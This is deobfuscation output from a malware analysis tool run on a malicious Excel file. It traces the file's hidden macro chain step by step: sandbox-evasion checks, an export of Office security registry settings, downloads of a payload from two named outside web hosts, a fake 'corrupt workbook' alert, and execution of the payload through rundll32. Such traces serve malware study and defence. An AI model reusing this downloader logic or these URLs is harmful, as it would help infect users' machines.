_ _______ |\ /|( \ ( ) ( \ / )| ( | () () | \ (_) / | | | || || | ) _ ( | | | |(_)| | / ( ) \ | | | | | | ( / \ )| (____/\| ) ( | |/ \|(_______/|/ \| ______ _______ _______ ______ _______ _______ _______ _______ _________ _______ _______ ( __ \ ( ____ \( ___ )( ___ \ ( ____ \|\ /|( ____ \( ____ \( ___ )\__ __/( ___ )( ____ ) | ( \ )| ( \/| ( ) || ( ) )| ( \/| ) ( || ( \/| ( \/| ( ) | ) ( | ( ) || ( )| | | ) || (__ | | | || (__/ / | (__ | | | || (_____ | | | (___) | | | | | | || (____)| | | | || __) | | | || __ ( | __) | | | |(_____ )| | | ___ | | | | | | || __) | | ) || ( | | | || ( \ \ | ( | | | | ) || | | ( ) | | | | | | || (\ ( | (__/ )| (____/\| (___) || )___) )| ) | (___) |/\____) || (____/\| ) ( | | | | (___) || ) \ \__ (______/ (_______/(_______)|/ \___/ |/ (_______)\_______)(_______/|/ \| )_( (_______)|/ \__/ XLMMacroDeobfuscator(v 0.1.4) - https://github.com/DissectMalware/XLMMacroDeobfuscator File: C:\Users\user\Downloads\323455169b75e4a753eb5ad34290243ede09f9d559545aac6e6a71c2719b98de.xls [Loading Cells] auto_open: auto_open->Sheet2!$FA$7876 [Starting Deobfuscation] CELL:FA7876 , FullEvaluation , SET.VALUE(BJ25299,255.6) CELL:FA7877 , FullEvaluation , GOTO(BQ45566) CELL:BQ45566 , FullEvaluation , SET.VALUE(CD53037,-389) CELL:BQ45567 , FullEvaluation , RUN(Sheet2!HD64832) CELL:HD64832 , FullEvaluation , SET.VALUE(FZ5258,65.25) CELL:HD64833 , FullEvaluation , RUN(Sheet2!ES3436) CELL:ES3436 , FullEvaluation , SET.VALUE(AE45948,-251) CELL:ES3437 , FullEvaluation , GOTO(GS20666) CELL:GS20666 , FullEvaluation , SET.VALUE(CR53465,-199) CELL:GS20667 , FullEvaluation , GOTO(DF5689) CELL:DF5689 , FullEvaluation , SET.VALUE(R15778,102.75) CELL:DF5690 , FullEvaluation , GOTO(DL39613) CELL:DL39613 , FullEvaluation , SET.VALUE(GM16462,-969.75) CELL:DL39614 , FullEvaluation , GOTO(HM27262) CELL:HM27262 , FullEvaluation , SET.VALUE(IN13413,1203.8) CELL:HM27263 , FullEvaluation , RUN(Sheet2!IJ30961) CELL:IJ30961 , FullEvaluation , SET.VALUE(DG47804,-494) CELL:IJ30962 , FullEvaluation , RUN(Sheet2!AL57983) CELL:AL57983 , FullEvaluation , SET.VALUE(BG47080,35) CELL:AL57984 , FullEvaluation , GOTO(HN49209) CELL:HN49209 , FullEvaluation , FORMULA("=CLOSE(FALSE)",FE5114) CELL:HN49210 , FullEvaluation , RUN(Sheet2!EG28967) CELL:EG28967 , FullEvaluation , FORMULA("=APP.MAXIMIZE()",EG28968) CELL:EG28968 , PartialEvaluation , APP.MAXIMIZE() CELL:EG28969 , FullEvaluation , RUN(Sheet2!DT45019) CELL:DT45019 , FullEvaluation , FORMULA("=IF(GET.WINDOW(7),GOTO(R[-39906]C[37]),)",DT45020) CELL:DT45020 , FullEvaluation , IF(GET.WINDOW(7),GOTO(R[-39906]C[37]),) CELL:DT45021 , FullEvaluation , GOTO(U26012) CELL:U26012 , FullEvaluation , FORMULA("=IF(GET.WINDOW(20),,GOTO(R[-20899]C[140]))",U26013) CELL:U26013 , FullEvaluation , IF(GET.WINDOW(20),,GOTO(R[-20899]C[140])) CELL:U26014 , FullEvaluation , RUN(Sheet2!IO19668) CELL:IO19668 , FullEvaluation , FORMULA("=IF(GET.WINDOW(23)<3,GOTO(R[-14555]C[-88]),)",IO19669) CELL:IO19669 , FullEvaluation , IF(GET.WINDOW(23)<3,GOTO(R[-14555]C[-88]),) CELL:IO19670 , FullEvaluation , GOTO(FG59760) CELL:FG59760 , FullEvaluation , FORMULA("=IF(GET.WORKSPACE(31),GOTO(R[-54647]C[-2]),)",FG59761) CELL:FG59761 , FullEvaluation , IF(GET.WORKSPACE(31),GOTO(R[-54647]C[-2]),) CELL:FG59762 , FullEvaluation , RUN(Sheet2!HC57286) CELL:HC57286 , FullEvaluation , FORMULA("=IF(GET.WORKSPACE(13)<770,GOTO(R[-52173]C[-50]),)",HC57287) CELL:HC57287 , FullEvaluation , IF(GET.WORKSPACE(13)<770,GOTO(R[-52173]C[-50]),) CELL:HC57288 , FullEvaluation , RUN(Sheet2!FG13805) CELL:FG13805 , FullEvaluation , FORMULA("=IF(GET.WORKSPACE(14)<390,GOTO(R[-8692]C[-2]),)",FG13806) CELL:FG13806 , FullEvaluation , IF(GET.WORKSPACE(14)<390,GOTO(R[-8692]C[-2]),) CELL:FG13807 , FullEvaluation , GOTO(HS5509) CELL:HS5509 , FullEvaluation , FORMULA("=IF(GET.WORKSPACE(19),,GOTO(R[-396]C[-66]))",HS5510) CELL:HS5510 , FullEvaluation , IF(GET.WORKSPACE(19),,GOTO(R[-396]C[-66])) CELL:HS5511 , FullEvaluation , RUN(Sheet2!AQ38016) CELL:AQ38016 , FullEvaluation , FORMULA("=IF(GET.WORKSPACE(42),,GOTO(R[-32903]C[118]))",AQ38017) CELL:AQ38017 , FullEvaluation , IF(GET.WORKSPACE(42),,GOTO(R[-32903]C[118])) CELL:AQ38018 , FullEvaluation , GOTO(CR63589) CELL:CR63589 , FullEvaluation , FORMULA("=IF(ISNUMBER(SEARCH(""Windows"",GET.WORKSPACE(1))),,GOTO(R[-58476]C[65]))",CR63590) CELL:CR63590 , FullBranching , IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,GOTO(R[-58476]C[65])) CELL:CR63590 , FullEvaluation , [TRUE] CELL:CR63591 , FullEvaluation , RUN(Sheet2!DR7029) CELL:DR7029 , FullEvaluation , FORMULA("=""EXPORT HKCU\Software\Microsoft\Office\""",FG17853) CELL:DR7030 , FullEvaluation , GOTO(GU6960) CELL:GU6960 , FullEvaluation , FORMULA("=""C:\Users\Public\WMNyoI.reg""",AK62260) CELL:GU6961 , FullEvaluation , RUN(Sheet2!EF33676) CELL:EF33676 , FullEvaluation , FORMULA("=R[-33458]C[47]&GET.WORKSPACE(2)&""\Excel\Security ""&R[10949]C[-79]&"" /y""",DL51311) CELL:EF33677 , FullEvaluation , RUN(Sheet2!FX41133) CELL:FX41133 , FullEvaluation , FORMULA("=""C:\Windows\system32\reg.exe""",AZ24506) CELL:FX41134 , FullEvaluation , RUN(Sheet2!HN11697) CELL:HN11697 , FullEvaluation , FORMULA("=CALL(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",0,""open"",R[12808]C[-170],R[39613]C[-106],0,5)",HN11698) CELL:HN11698 , FullEvaluation , CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","=""C:\Windows\system32\reg.exe""","=R[-33458]C[47]&GET.WORKSPACE(2)&""\Excel\Security ""&R[10949]C[-79]&"" /y""",0,5) CELL:HN11699 , FullEvaluation , GOTO(FZ14642) CELL:FZ14642 , FullEvaluation , FORMULA("=WHILE(ISERROR(FILES(R[47615]C[-145])))",FZ14645) CELL:FZ14643 , FullEvaluation , FORMULA("=WAIT(NOW()+""00:00:01"")",FZ14646) CELL:FZ14644 , FullEvaluation , FORMULA("=NEXT()",FZ14647) CELL:FZ14645 , PartialEvaluation , WHILE(ISERROR(FILES(R[47615]C[-145]))) CELL:FZ14648 , FullEvaluation , GOTO(CA23395) CELL:CA23395 , FullEvaluation , FORMULA("=FOPEN(R[38864]C[-42])",CA23396) CELL:CA23396 , PartialEvaluation , FOPEN("=""C:\Users\Public\WMNyoI.reg""") CELL:CA23397 , FullEvaluation , GOTO(GX30764) CELL:GX30764 , FullEvaluation , FORMULA("=FPOS(R[-7369]C[-127],215)",GX30765) CELL:GX30765 , PartialEvaluation , FPOS("FOPEN(""=""""C:\Users\Public\WMNyoI.reg"""""")",215) CELL:GX30766 , FullEvaluation , RUN(Sheet2!DY20468) CELL:DY20468 , FullEvaluation , FORMULA("=FREAD(R[2927]C[-50],255)",DY20469) CELL:DY20469 , PartialEvaluation , FREAD("FOPEN(""=""""C:\Users\Public\WMNyoI.reg"""""")",255) CELL:DY20470 , FullEvaluation , RUN(Sheet2!EJ44420) CELL:EJ44420 , FullEvaluation , FORMULA("=FCLOSE(R[-21025]C[-61])",EJ44421) CELL:EJ44421 , PartialEvaluation , FCLOSE("FOPEN(""=""""C:\Users\Public\WMNyoI.reg"""""")") CELL:EJ44422 , FullEvaluation , RUN(Sheet2!DE35862) CELL:DE35862 , FullEvaluation , FORMULA("=FILE.DELETE(R[26397]C[-72])",DE35863) CELL:DE35863 , PartialEvaluation , FILE.DELETE("=""C:\Users\Public\WMNyoI.reg""") CELL:DE35864 , FullEvaluation , RUN(Sheet2!EW6206) CELL:EW6206 , FullEvaluation , FORMULA("=IF(ISNUMBER(SEARCH(""0001"",R[14262]C[-24])),GOTO(R[-1093]C[8]),)",EW6207) CELL:EW6207 , FullBranching , IF(ISNUMBER(SEARCH("0001",R[14262]C[-24])),GOTO(R[-1093]C[8]),) CELL:EW6207 , FullEvaluation , [TRUE] GOTO(R[-1093]C[8]) CELL:FE5114 , End , CLOSE(FALSE) CELL:EW6207 , FullEvaluation , [FALSE] CELL:EW6208 , FullEvaluation , RUN(Sheet2!HG37600) CELL:HG37600 , FullEvaluation , FORMULA("=""C:\Users\Public\CcWcaZEP.html""",AG4058) CELL:HG37601 , FullEvaluation , GOTO(BG7958) CELL:BG7958 , FullEvaluation , FORMULA("=""https://docs.microsoft.com/en-us/officeupdates/office-msi-non-security-updates""",GK20094) CELL:BG7959 , FullEvaluation , GOTO(FT2763) CELL:FT2763 , FullEvaluation , FORMULA("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R[17330]C[17],R[1294]C[-143],0,0)",FT2764) CELL:FT2764 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"=""https://docs.microsoft.com/en-us/officeupdates/office-msi-non-security-updates""","=""C:\Users\Public\CcWcaZEP.html""",0,0) CELL:FT2765 , FullEvaluation , GOTO(GS14934) CELL:GS14934 , FullEvaluation , FORMULA("=FILES(R[-10877]C[-168])",GS14935) CELL:GS14935 , PartialEvaluation , FILES("=""C:\Users\Public\CcWcaZEP.html""") CELL:GS14936 , FullEvaluation , RUN(Sheet2!IB64512) CELL:IB64512 , FullEvaluation , FORMULA("=IF(ISERROR(R[-49578]C[-35]),GOTO(R[-59399]C[-75]),)",IB64513) CELL:IB64513 , FullBranching , IF(ISERROR(R[-49578]C[-35]),GOTO(R[-59399]C[-75]),) CELL:IB64513 , FullEvaluation , [TRUE] GOTO(R[-59399]C[-75]) CELL:FE5114 , End , CLOSE(FALSE) CELL:IB64513 , FullEvaluation , [FALSE] CELL:IB64514 , FullEvaluation , GOTO(FW47055) CELL:FW47055 , FullEvaluation , SET.VALUE(IU65323,-97.5) CELL:FW47056 , FullEvaluation , GOTO(GT51876) CELL:GT51876 , FullEvaluation , SET.VALUE(BH45074,247) CELL:GT51877 , FullEvaluation , GOTO(AY22925) CELL:AY22925 , FullEvaluation , SET.VALUE(GC44684,329) CELL:AY22926 , FullEvaluation , RUN(Sheet2!EQ17120) CELL:EQ17120 , FullEvaluation , SET.VALUE(BZ59600,376) CELL:EQ17121 , FullEvaluation , RUN(Sheet2!CI60554) CELL:CI60554 , FullEvaluation , SET.VALUE(IJ21467,-846) CELL:CI60555 , FullEvaluation , GOTO(CP30159) CELL:CP30159 , FullEvaluation , SET.VALUE(AP50057,0.9) CELL:CP30160 , FullEvaluation , GOTO(AD49613) CELL:AD49613 , FullEvaluation , SET.VALUE(AT21980,-357.6) CELL:AD49614 , FullEvaluation , RUN(Sheet2!IG12751) CELL:IG12751 , FullEvaluation , SET.VALUE(EO40560,172) CELL:IG12752 , FullEvaluation , GOTO(GC38983) CELL:GC38983 , FullEvaluation , SET.VALUE(BU61267,476) CELL:GC38984 , FullEvaluation , GOTO(DH39742) CELL:DH39742 , FullEvaluation , SET.VALUE(HY9156,406) CELL:DH39743 , FullEvaluation , GOTO(DN42978) CELL:DN42978 , FullEvaluation , FORMULA("=""C:\Users\Public\kf1o.html""",FP15812) CELL:DN42979 , FullEvaluation , GOTO(EB3725) CELL:EB3725 , FullEvaluation , FORMULA("=""https://dehabadi.ir/wp-keys.php""",EN4797) CELL:EB3726 , FullEvaluation , RUN(Sheet2!AX38305) CELL:AX38305 , FullEvaluation , FORMULA("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R[4751]C[5],R[15766]C[33],0,0)",EI46) CELL:AX38306 , FullEvaluation , GOTO(BB30) CELL:BB30 , FullEvaluation , FORMULA("=FILES(R[-34907]C[50])",DR50719) CELL:BB31 , FullEvaluation , GOTO(CN53095) CELL:CN53095 , FullEvaluation , FORMULA("=IF(ISERROR(R[16690]C[104]),,RUN(R[-31106]C[26]))",R34029) CELL:CN53096 , FullEvaluation , GOTO(HD9075) CELL:HD9075 , FullEvaluation , FORMULA("=""https://eleventalents.com/wp-keys.php""",AB61478) CELL:HD9076 , FullEvaluation , RUN(Sheet2!GE52633) CELL:GE52633 , FullEvaluation , FORMULA("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R[8035]C[-199],R[-37631]C[-55],0,0)",HS53443) CELL:GE52634 , FullEvaluation , RUN(Sheet2!E6760) CELL:E6760 , FullEvaluation , FORMULA("=""The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.""",DD49036) CELL:E6761 , FullEvaluation , GOTO(DK19379) CELL:DK19379 , FullEvaluation , FORMULA("=ALERT(R[46113]C[64])",AR2923) CELL:DK19380 , FullEvaluation , RUN(Sheet2!GR22181) CELL:GR22181 , FullEvaluation , FORMULA("=""C:\Windows\system32\rundll32.exe""",DU54329) CELL:GR22182 , FullEvaluation , GOTO(GZ25335) CELL:GZ25335 , FullEvaluation , FORMULA("=R[-29869]C[-79]&"",DllRegisterServer""",IQ45681) CELL:GZ25336 , FullEvaluation , GOTO(AI4480) CELL:AI4480 , FullEvaluation , FORMULA("=CALL(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",0,""open"",R[50025]C[-13],R[41377]C[113],0,5)",EH4304) CELL:AI4481 , FullEvaluation , GOTO(EI46) CELL:EI46 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"=""https://dehabadi.ir/wp-keys.php""","=""C:\Users\Public\kf1o.html""",0,0) CELL:EI47 , FullEvaluation , RUN(Sheet2!DR50719) CELL:DR50719 , PartialEvaluation , FILES("=""C:\Users\Public\kf1o.html""") CELL:DR50720 , FullEvaluation , GOTO(R34029) CELL:R34029 , FullBranching , IF(ISERROR(R[16690]C[104]),,RUN(R[-31106]C[26])) CELL:R34029 , FullEvaluation , [TRUE] CELL:R34030 , FullEvaluation , GOTO(AB61478) CELL:AB61478 , FullEvaluation , "https://eleventalents.com/wp-keys.php" CELL:AB61479 , FullEvaluation , RUN(Sheet2!HS53443) CELL:HS53443 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://eleventalents.com/wp-keys.php","=""C:\Users\Public\kf1o.html""",0,0) CELL:HS53444 , FullEvaluation , RUN(Sheet2!DD49036) CELL:DD49036 , FullEvaluation , "The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt." CELL:DD49037 , FullEvaluation , GOTO(AR2923) CELL:AR2923 , PartialEvaluation , ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.") CELL:AR2924 , FullEvaluation , GOTO(DU54329) CELL:DU54329 , FullEvaluation , "C:\Windows\system32\rundll32.exe" CELL:DU54330 , FullEvaluation , GOTO(IQ45681) CELL:IQ45681 , FullEvaluation , "=""C:\Users\Public\kf1o.html"",DllRegisterServer" CELL:IQ45682 , FullEvaluation , GOTO(EH4304) CELL:EH4304 , FullEvaluation , CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","=""C:\Users\Public\kf1o.html"",DllRegisterServer",0,5) CELL:EH4305 , FullEvaluation , GOTO(FE5114) CELL:FE5114 , End , CLOSE(FALSE) CELL:R34029 , FullEvaluation , [FALSE] RUN(Sheet2!AR2923) CELL:AR2923 , PartialEvaluation , ALERT("=""The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.""") CELL:AR2924 , FullEvaluation , GOTO(DU54329) CELL:DU54329 , FullEvaluation , "C:\Windows\system32\rundll32.exe" CELL:DU54330 , FullEvaluation , GOTO(IQ45681) CELL:IQ45681 , FullEvaluation , "=""C:\Users\Public\kf1o.html"",DllRegisterServer" CELL:IQ45682 , FullEvaluation , GOTO(EH4304) CELL:EH4304 , FullEvaluation , CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","=""C:\Users\Public\kf1o.html"",DllRegisterServer",0,5) CELL:EH4305 , FullEvaluation , GOTO(FE5114) CELL:FE5114 , End , CLOSE(FALSE) CELL:CR63590 , FullEvaluation , [FALSE] GOTO(R[-58476]C[65]) CELL:FE5114 , End , CLOSE(FALSE) [END of Deobfuscation] time elapsed: 9.589247465133667